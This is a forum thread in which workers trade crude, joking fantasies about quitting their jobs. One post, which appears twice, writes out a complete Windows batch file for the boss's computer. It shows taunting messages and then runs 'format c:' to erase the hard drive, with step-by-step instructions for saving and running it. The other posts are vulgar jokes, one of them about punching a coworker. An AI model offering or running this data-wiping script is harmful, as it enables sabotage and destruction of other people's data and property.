Shop Talk
The way I want to quit
When it's extremely busy and I am by myself, I want to just walk out and leave a post it on my supervisor's monitor saying "I QUIT!"
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go into notepad on your boss' computer... type the following
@echo off
C:
cls
echo This is Charlie... I quit...
pause
echo Before i go i wanted to leave you with a going away present...
pause
echo The next time you press a key all the information on your hard drive will be erased... this is inevetable...
pause
format c:
cls
echo have a nice day 🙂
save the documnet as "whatever you want".bat the .bat is the important part. once you have it saved open the batch file you created and press alt + enter to make it full screen.
if you arent familliar with cmd prompt programming this will actually clear his computer of everything... if you want to be less mean replace "format c:" with "dir /s" and repeat it about 300 times... it...
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@echo off
C:
cls
echo This is Charlie... I quit...
pause
echo Before i go i wanted to leave you with a going away present...
pause
echo The next time you press a key all the information on your hard drive will be erased... this is inevetable...
pause
format c:
cls
echo have a nice day 🙂
save the documnet as "whatever you want".bat the .bat is the important part. once you have it saved open the batch file you created and press alt + enter to make it full screen.
if you arent familliar with cmd prompt programming this will actually clear his computer of everything... if you want to be less mean replace "format c:" with "dir /s" and repeat it about 300 times... it...
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🤣 with our horrendous system it would probably delete everyone in the office too! 😈
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I want to get a really angry custy, somebody who's just flippin out and look them in the face and say "Sir I don't really give a s*** and for the love of all humanity have a tictac" and walk out.
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🤣 🤣 I don't face my customers I just get to deal with them on the phone. (thankfully) But I get more annoyed usually with my co-workers 🤣
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I had someone do something similar, he waited until about 15 minutes after I left the mall and then sentan email to the boss saying he quit and left his shirt hanging on an accessory rack in the kiosk. he waited that long because he knew that's about how long it would take me to get to the bank and grocery store ad start shopping.
I just about went to fid him and punch him in the throat and nuts.
because who does the boss call to cover the store for the rest of his shift? 😁 👿 👿 👿
I just about went to fid him and punch him in the throat and nuts.
because who does the boss call to cover the store for the rest of his shift? 😁 👿 👿 👿
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Ive always wanted to win the lottery then keep getting menial jobs just so I can quit on a weekly or monthly basis. And Im talking all out quitting scene. Like Jerry Maguire only not gay
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I want to pack my crack with extra crunchy peanut butter, reach down scoop out a handful and smack a customer or supervisor in the face with it. Then tell them i've had enough of their sh*t.
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Well, i guess if your going to go out in style minuswell go all the way.. 🤣
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I have no ideal way in which I would like to leave this esteemed establishment (enter sarcasm here), but I do have a way in which I would like to leave my mark on my last day. I plan to finish every sentence with "B**** A**". For example...
ME> Thank you for calling *****, B**** A**. My name is Jane Doe B**** A**. Can I get your first and last name B**** A**.
Think anyone will notice????? 😁 😁 😁
ME> Thank you for calling *****, B**** A**. My name is Jane Doe B**** A**. Can I get your first and last name B**** A**.
Think anyone will notice????? 😁 😁 😁
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